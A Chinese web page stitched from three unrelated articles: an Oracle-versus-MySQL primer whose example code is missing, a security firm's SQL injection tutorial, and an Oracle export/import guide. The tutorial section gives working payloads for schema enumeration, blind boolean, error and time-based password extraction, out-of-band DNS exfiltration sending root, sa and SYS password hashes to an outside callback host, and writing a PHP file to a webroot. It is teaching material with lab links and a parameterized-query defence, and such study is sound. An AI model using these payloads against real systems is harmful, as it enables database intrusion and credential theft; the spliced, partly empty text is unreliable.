市场上开源框架使用较多的数据库是MySQL和Oracle,之前写的文章《经常使用到开源的MySQL,今天我们就来系统地认识一下》已经系统地介绍了MySQL的一些知识,今天我们来聊一下Oracle的一些入门知识。同时简单的对比一下MySQL和Oracle的区别。在Oracle数据库的SQL命令中,关键字、表名和字段名都不区分大小写,语法是标准的 sql写法。
我们先看一下Oracle中的字段类型和长度。
1.1、字符串类型
char:固定长度字符串,会用空格填充来达到最大长度。
varchar2:变长度字符串,不补充空格,可以存储32767字节的内容。
1.2、数字类型
Oracle用number类型来存放数字,存储精度最多达38位。
number( m,n ),m表示总长度,n表示小数位的精度,如果存入的数据的小数位的精度超过了n,则取四舍五入后的值。
1.3、日期类型
Oracle采用date类型表示日期和时间,我们要稍微注意一下Oracle存储的是24制格式时间,因此在做转换时,不管是时间格式转字符,还是字符串转时间格式,使用函数to_date和to_char要注意时间格式的书写,不是使用 yyyy-MM-dd HH:mm:ss 的格式作为格式进行转换,也不是使用 yyyy-MM-dd HH24:mm:ss 格式,而是使用 yyyy-mm-dd hh24:mi:ss 。我们来看一下区别。
原始数据:2022-07-06 16:58:13
yyyy-MM-dd HH:mm:ss 返回的12小时格式,返回的是 2022-07-06 04:07:13。【结果发现,时和分都不对】
yyyy-MM-dd HH24:mm:ss 返回的24小时格式,分钟没有处理,返回的是 2022-07-06 16:07:13。【结果发现,时对了,分不对】
yyyy-mm-dd hh24:mi:ss 返回的24小时格式,返回的是 2022-07-06 16:58:13【结果发现,时对了,分也对了】
为什么会出现这种差异,那是因为oracle是不区分大小写的,HH和hh是一样的,不像我们在java中使用 yyyy-MM-dd HH:mm:ss 代表将时间转换为24小时制,使用 yyyy-MM-dd hh:mm:ss 代表将时间转换为12小时制。既然不能根据大小写来区分24小时和12小时,Oracle就换了个思路,oracle中将24小时写成格式HH24,这样就是用 HH(或者hh)和 HH24(或者hh24)来区分12小时和24小时。
其次,我们发现,使用mm 来表示分钟数据也不正确,还是同样的原因,SQL中不区分大小写,MM和mm被认为是相同的格式代码,分钟做了特殊处理,Oracle的SQL采用了mi代替分钟。
1.4、clob和blob类型
BLOB和CLOB都是大字段类型,BLOB是按二进制来存储的,而CLOB是可以直接存储文字的。其实两个是可以互换的的,或者可以直接用LOB字段代替这两个。但是为了更好的管理ORACLE数据库,通常像图片、文件、音乐等信息就用BLOB字段来存储,先将文件转为二进制再存储进去。而像文章或者是较长的文字,就用CLOB存储,这样对以后的查询更新存储等操作都提供很大的方便。
2.1、分页
(1)oracle不支持limit关键字,oracle使用rownum进行分页操作,rownum只能比较小于不能比较大于,因为该方法都是先查询后排序的,比如我们要查第10条到第20条之间的数据;
(2)mysql使用limit进行分页操作,limit中的参数值不能在语句当中写计算表达式,需要提前计算。
表示从第n条数据开始查找,一共查找m条数据。
2.2、mysql可以用双引号包起字符串,oracle中只能用单引号引字符串。
Oracle 的索引与MySQL的索引规则基本没啥区别,这里不再赘述。
但要注意的两点:
(1)mysql索引从0开始,Oracle从1开始。
(2)mysql的索引是表级别的,在整个数据库内,mysql不同表的索引可以同名;但Oracle的索引是数据库级别的,Oracle索引不可以同名。
MySQL主键可设为自动增长类型auto_increment。插入记录时,不需要指定该记录的主键值,mysql自动增长。oracle没有自增长类型,主键一般使用使用的序列,插入记录时将序列号下一值赋给该字段。
我们看一个具体的例子,我们现在有一个用户表sys_user,主键设置的自增。
oracle数据库中nextval用来获取序列号的下一个squence的值。在oracle中sequence就是所谓的序列号,每次取的时候它会自动增加。
使用mybatis插入数据时,语法如下:
单独的插入SQL,也很简单,id的值使用 seq_sys_user.nextval。
5.1、oracle 查询数据字典
示例1:
5.2、首字母排序
比如我们要查询SYS_USER 表,按照USER_NAME也就是用户昵称的首字母排序。
示例2:
5.3、查询表空间大小
示例3:
5.4、查看表空间是否具有自动扩展的能力
示例4:
当表空间不足时,我们可以采取以下做法拓展表空间
方法一:给表空间增加数据文件,并允许自动增长:
方法二:允许已存在的数据文件自动增长:
方法三:手工改变已存在数据文件大小:
(注意:oracle可管理的最大数据块为2的22次方,而根据单个数据块大小的不同,其最大容量也是不同的。对于OLTP应用,数据块的大小通常为8K,这样算下来,单个数据文件的大小最大为(2^22)*8K=32G.)
5.5、ORACLE通过执行计划查看查询语句是否使用索引
执行完要查找的语句以后,执行下面的语句查看执行计划(注意执行完上面的explain plan整条语句,再把select语句执行一下)
示例5:
我们可以看出:TABLE ACCESS FULL,表示的是全表扫描;
index unique scan索引唯一扫描,当可以优化器发现某个查询条件可以利用到主键、唯一键、具有外键约束的列,或者只是访问其中某行索引所在的数据的时候,优化器会选择这种扫描类型。
index range scan索引范围扫描,当优化器发现在UNIQUE列上使用了大于、小于、大于等于、小于等于以及BETWEEN等就会使用范围扫描,在组合列上只使用部分进行查询,导致查询出多行数据。对非唯一的索引列上进行任何活动都会使用index range scan。
index full scan全索引扫描,如果要查询的数据可以全部从索引中获取,则使用全索引扫描。
index fast full scan索引快速扫描,扫描索引中的全部的数据块,与全索引扫描的方式基本上类似。两者之间的明显的区别是,索引快速扫描对查询的数据不进行排序,数据返回的时候不是排序的。“在这种存取方法中,可以使用多块读功能,也可以使用并行读入,从而得到最大的吞吐量和缩短执行时间”。
针对上面的全表扫描的优化:增加Agency和UserAccount的组合索引。
x01
—
摘要
上一期,我们介绍了注入漏洞中常见的 SQL 注入漏洞,主要内容是以 MySQL 为例介绍了 SQL注入的基本原理,并举例了几个常见的注入手法与原理。本期我们来介绍其他的一些注入手法与原理。
0x02
—
SQL Injection
接上期
我们习惯上简称为数据库管理系统为数据库,对于数据库管理系统来说分很多类型,每一种查询方法都不一样。
常见的数据库类型有
不同数据库的查询版本的方法
对于 MySQL 来说,所有的数据库信息都保存在一个名叫 information_schema 的数据库中,基本结构是下面这样的。
mysql 版本 >=5.0
让我们来看看真实的保存信息
information_schema 数据库与我们关心的几个表
information_schema 数据库的三张表的结构与我们关心的表中的字段(下图做了标注)
结合上期介绍的注入手法与 information_schema 数据库结构,我们可以通过以下方式来从检查目标的数据结构
# 检查数据库名称
select schema_name from information_schema.schemata
# 检查指定数据的所有表名
select table_name from information_schema.tables where table_schema="数据库名称"
# 检查指定表的所有字段名称
select column_name from information_schema.columns where table_name="表名"
我们来查看下上期介绍的 xiaomi 数据库的结构
注意:注入时为了准确的获取目标数据库的信息,需要灵活的构建查询条件;上图中限制查询为指定库的指定表的字段。
在线实验
# mysql 练习
https://paiza.io/en/projects/new?language=mysql
# 注入练习
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle
对于 Oracle 来说,相关操作
# 流程:
# 获取所有表 --> 获取指定表的所有字段名
# 所有表
select table_name from all_tables
# 指定表的所有字段名
select column_name from all_tab_columns where table_name="表名称"
在线实验
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle
总结一下,不同的数据库查询数据库结构的方法
# oracle
select * from all_tables
select * from all_tab_columns where table_name='TABLE-NAME-HERE'
# Microsoft
select * from information_schema.tables
select * from information_scehma.columns where table_name='TABLE-NAME-HERE'
# PostgreSQL
select * from information_schema.tables
select * from information_schema.columns where table_name='TABLE-NAME-HERE'
# MySQL
select * from information_schema.tables
select * from information_schema.columns where table_name='TABLE-NAME-HERE'
在 sql 注入时,如果应用程序没有回显/报错消息,那么我们就需要利用 sql 盲注方式。
对于 sql 盲注的漏洞,之前手法依赖消息回显的都不可用,那么我们需要如何来利用漏洞呢?
主要思路就是:利用数据库执行我们给定的命令后的状态来利用漏洞
利用方式有:
如一个网站依赖 cookie 值 TrackingId=abc123,查询到用户时;会于前端提示 ”Welcom back“,
我们可以利用条件判断语句,使条件永远满足来利用漏洞
TrackingId=x' union select 'a' where 1=1--
扩展思路,我们可以有更多的利用方式
# 检查指定的用户是否存在?
TrackingId=x' union select 'a' from users where useranme='admin' --
# 检查用户密码
TrackingId=x' union select 'a' from users where useranme='admin' and substring(password,1,1)>'t' --
常用字符串截取函数
数据库 字符串截取函数 Oracle substr(‘test’, 1, 1) Microsoft substring(‘test’, 1,1) PostgreSQL substring(‘test’, 1,1) MySQL substring(‘test’, 1, 1)
在线实验
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
如果前端只会显示 Internal Server Error 500,我们可以考虑手动引发错误。
以上面的例子
TrackingId=x' union select case when (1=2) then 1/0 else null end--
# 特意指定会报错的命令,让数据库运行出错
TrackingId=x' union select case when (1=1) then 1/0 else null end--
扩展
TrackingId=x' union select case when (username='admin' and substring(password,1,1)='m') then 1/0 else null end--
数据库 条件 Oracle select case when (条件) then to_char(1/0) else null end from dual Microsoft select case when (条件) then 1/0 else null end PostgreSQL select case when (条件) then cast(1/0 as text) else null null end MySQL select if(条件, (select table_name from information_schema.tables), ‘a’)
如果执行结果不出现提示或者是空白时,以上的方式也没办法利用了。但是如果可以明确的看出前端展示的内容有正常与错误的页面。
可以考虑
select * from name where id='0' and substring(version(), 1, 1)=5-- ' limit 0,1
select * from name where id='0' and substring(version(), 1, 1)=6-- ' limit 0,1
如果后端应用程序执行了 sql 命令,但是处理了数据库报错或者总是返回相同的提示;我们可以使用 delay 来利用 sql 注入漏洞。
以 Microsoft SQL Server 为例
'; if (1=2) waitfor delay '0:0:10'--
# 利用时间延迟执行命令来判断
'; if (1=1) waitfor delay '0:0:10'--
在线实验
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays
扩展
'; IF (SELECT COUNT(username) FROM Users WHERE username='Administrator' AND SUBSTRING(password, 1, 1) > 'm')=1 WAITFOR DELAY '0:0:{delay}'--
如果网站执行 sql 查询时使用了 异步方式,所有 sql 查询在另外的线程执行。那么基于时间延迟的利用方式也不可行了。
这时可以利用 out-of-band 方式来利用 sql 注入漏洞。
思路就是:让程序系统通过其他的协议对外交互来利用漏洞。通常我们会利用 DNS 协议的查询来利用漏洞,因为大部分其他协议对外可能是禁止的,DNS 总是放行的。
数据库不同,利用方法有些许差别,参考 ceye.io 网站的 pyloads
# mysql
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
# SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
# Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
注意:
MySQL 的 load_file 函数在 Linux 下是无法用来做 dnslog 攻击的,因为这里使用了基于 windows 内置支持的 UNC 路径解析功能。
0x03
—
SQL 注入防护
上面了解了 sql 注入手法,那么如何防护呢?下面给出一些建议
# 不使用 sql 拼接语法
String query="SELECT * FROM products WHERE category='"+ input + "'";
Statement statement=connection.createStatement();
ResultSet resultSet=statement.executeQuery(query);
# 使用参数化查询
PreparedStatement statement=connection.prepareStatement("SELECT * FROM products WHERE category=?");
statement.setString(1, input);
ResultSet resultSet=statement.executeQuery();
# 写文件,结合 union
1 union select 1,2,3,4,5,"<? phpinfo(); ?>" into outfile "/var/www/html/test.php"
# 写文件,直接写
1 into outfile '/var/www/html/test.php" fields terminated by "<? phpinfo(); ?>"
# 读取文件
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
0x04
—
总结
到此,注入漏洞之 sql 注入部分就完结了,其实在 sql 注入中,还有许多需要考虑与注意的地方,比如,绕过WAF,写文件权限,读文件权限等。大家可以搜索相关的关键字时一步学习。
0x05
—
参考
https://portswigger.net/blog/oast-out-of-band-application-security-testing
https://portswigger.net/burp/documentation/collaborator
http://ceye.io/payloads
FIN
深圳德慎思信息安全
专为金融、政府及企事业单位提供红队实战的安全测评服务,德慎思立足深圳放眼世界,紧抓中华民族复兴机遇,以科创为民的精神贡献自身卓越技能。
oracle11g数据库导入导出:
①:传统方式——exp(导出)和(imp)导入:
②:数据泵方式——expdp导出和(impdp)导入;
③:第三方工具——PL/sql Develpoer;
oracle11g数据库的导入/导出,就是我们通常所说的oracle数据的还原/备份。
数据库导入:把.dmp 格式文件从本地导入到数据库服务器中(本地oracle测试数据库中);
数据库导出:把数据库服务器中的数据(本地oracle测试数据库中的数据),导出到本地生成.dmp格式文件。
.dmp 格式文件:就是oracle数据的文件格式(比如视频是.mp4 格式,音乐是.mp3 格式);
1.exp/imp:
优点:代码书写简单易懂,从本地即可直接导入,不用在服务器中操作,降低难度,减少服务器上的操作也就 保证了服务器上数据文件的安全性。
缺点:这种导入导出的速度相对较慢,合适数据库数据较少的时候。如果文件超过几个G,大众性能的电 脑,至少需要4~5个小时左右。
2.expdp/impdp:
优点:导入导出速度相对较快,几个G的数据文件一般在1~2小时左右。
缺点:代码相对不易理解,要想实现导入导出的操作,必须在服务器上创建逻辑目录(不是真正的目录)。我们 都知道数据库服务器的重要性,所以在上面的操作必须慎重。所以这种方式一般由专业的程序人员来完 成(不一定是DBA(数据库管理员)来干,中小公司可能没有DBA)。
3.PL/sql Develpoer:
优点:封装了导入导出命令,无需每次都手动输入命令。方便快捷,提高效率。
缺点:长时间应用会对其产生依赖,降低对代码执行原理的理解。
目标数据库:数据即将导入的数据库(一般是项目上正式数据库);
源数据库:数据导出的数据库(一般是项目上的测试数据库);
1.目标数据库要与源数据库有着名称相同的表空间。
2.目标数据在进行导入时,用户名尽量相同(这样保证用户的权限级别相同)。
3.目标数据库每次在进行数据导入前,应做好数据备份,以防数据丢失。
4.使用数据泵时,一定要现在服务器端建立可用的逻辑目录,并检查是否可用。
5.弄清是导入导出到相同版本还是不同版本(oracle10g版本与oracle11g版本)。
6.目标数据导入前,弄清楚是数据覆盖(替换),还是仅插入新数据或替换部分数据表。
7.确定目标数据库磁盘空间是否足够容纳新数据,是否需要扩充表空间。
8.导入导出时注意字符集是否相同,一般Oracle数据库的字符集只有一个,并且固定,一般不改变。
9.导出格式介绍:
? Dmp格式:.dmp是二进制文件,可跨平台,还能包含权限,效率好;
? Sql格式:.sql格式的文件,可用文本编辑器查看,通用性比较好,效率不如第一种,
适合小数据量导入导出。尤其注意的是表中不能有大字段 (blob,clob,long),如果有,会报错;
? Pde格式:.pde格式的文件,.pde为PL/SQL Developer自有的文件格式,只能用PL/SQL Developer工具
导入导出,不能用文本编辑器查看;
10.确定操作者的账号权限。
1、传统方法:
通用命令:exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp" full=y;
数据库导出举例:
exp xinxiaoyong/123456@127.0.0.1:1521 file="e:\temp.dmp" full=y;
exp:导出命令,导出时必写。
imp:导入命令,导入时必写,每次操作,二者只能选择一个执行。
username:导出数据的用户名,必写;
password:导出数据的密码,必写;
@:地址符号,必写;
SERVICENAME:Oracle的服务名,必写;
1521:端口号,1521是默认的可以不写,非默认要写;
file="e:\temp.dmp" : 文件存放路径地址,必写;
full=y :表示全库导出。可以不写,则默认为no,则只导出用户下的对象;
方法细分:
1.完全导入导出:
exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp" full=y;
2.部分用户表table导入导出:
exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp"
tabels= (table1,table2,table3,...);
3.表空间tablespaces导入导出:
//一个数据库实例可以有N个表空间(tablespace),一个表空间下可以有N张表(table)。
exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp"
tablespaces= (tablespace1,tablespace2,tablespace3,...);
4.用户名username对象导入导出:
exp(imp) username/password@SERVICENAME:1521 file="e:\temp.dmp"
owner(username1,username2,username3);
2、数据泵方法:
创建directory:
expdp(impdp) username/password@SERVICENAME:1521 schemas=username dumpfile=file1.dmp logfile=file1.log directory=testdata1 remap_schema=test:test;
数据库导出举例:
expdp xinxiaoyong/123456@127.0.0.1:1521 schemas=xinxiaoyong dumpfile=test.dmp
logfile=test.log directory=testdata1;
exp:导出命令,导出时必写。
imp:导入命令,导入时必写,每次操作,二者只能选择一个执行。
username:导出数据的用户名,必写;
password:导出数据的密码,必写;
@:地址符号,必写;
SERVICENAME:Oracle的服务名,必写;
1521:端口号,1521是默认的可以不写,非默认要写;
schemas:导出操作的用户名;
dumpfile:导出的文件;
logfile:导出的日志文件,可以不写;
directory:创建的文件夹名称;
remap_schema=源数据库用户名:目标数据库用户名,二者不同时必写,相同可以省略;
1.查看表空间:
select * from dba_tablespaces;
2.查看管理理员目录(同时查看操作系统是否存在,因为Oracle并不关心该目录是否存在,如果不存 在,则出错)。
select * from dba_directories;
3.创建逻辑目录,该命令不会在操作系统创建真正的目录,最好以system等管理员创建。
create directory testdata1 as 'd:\test\dump';
4.给xinxiaoyong用户赋予在指定目录的操作权限,最好以system等管理员赋予。
//xinxiaoyong 是用户名(123456是用户密码)
grant read,write on directory testdata1 to xinxiaoyong;
5.导出数据
1)按用户导 expdp xinxiaoyong/123456@orcl schemas=xinxiaoyong dumpfile=expdp.dmp directory=testdata1;
2)并行进程parallel expdp xinxiaoyong/123456@orcl directory=testdata1 dumpfile=xinxiaoyong3.dmp parallel=40 job_name=xinxiaoyong3
3)按表名导 expdp xinxiaoyong/123456@orcl tables=emp,dept dumpfile=expdp.dmp directory=testdata1;
4)按查询条件导 expdp xinxiaoyong/123456@orcl directory=testdata1 dumpfile=expdp.dmp tables=emp query='WHERE deptno=20';
5)按表空间导 expdp system/manager directory=testdata1 dumpfile=tablespace.dmp tablespaces=temp,example;
6)导整个数据库 expdp system/manager directory=testdata1 dumpfile=full.dmp FULL=y;
6.还原数据
1)导到指定用户下 impdp xinxiaoyong/123456 directory=testdata1 dumpfile=expdp.dmp schemas=xinxiaoyong;
2)改变表的owner impdp system/manager directory=testdata1 dumpfile=expdp.dmp tables=xinxiaoyong.dept remap_schema=xinxiaoyong:system;
3)导入表空间 impdp system/manager directory=testdata1 dumpfile=tablespace.dmp tablespaces=example;
4)导入数据库 impdb system/manager directory=dump_dir dumpfile=full.dmp FULL=y;
5)追加数据 impdp system/manager directory=testdata1 dumpfile=expdp.dmp schemas=system table_exists_action;
3、PLSQL方法:
登录plsql工具,所使用用户为源数据库有导出权限(exp_full_database,dba等)的用户。
? 1.导出建表语句(包括存储结构)
导出步骤tools ->export user object,选择要导出的对象,导出.sql格式文件并等待导出完成,如 下图:
导出数据文件 ;
2.导出步骤tools ->export tables,选择要导出的表及导出的格式进行导出。
导出为dmp格式,如下图:
导出为sql格式,如下图:
导出为pde格式,如下图:
提示说明:采用第三方工具导出导入整个数据库的话,耗时较长,一定要有足够的时间来操作(数据量大的话需要好几个小时)。
3.导入建表语句
?? 导入步骤tools->import tables->SQL Inserts 导入.sql文件
4.导入数据;
?? tools->import talbes,然后再根据导出的数据格式选择导入dmp文件,或者sql文件,
或者pde文件。
?? 提示说明:导入之前最好把以前的表删除,当然导入另外数据库除外。 另外导入时当发现进度条一直卡在一个点,而且导出的文件不再增大时,甚至是提示程序
未响应,千万不要以为程序卡死了,这个导入导出就是比较缓慢,只要没有提示报错,
由于水平有限,本文档仅提供参考。如代码有错误之处,请见谅。
*请认真填写需求信息,我们会在24小时内与您取得联系。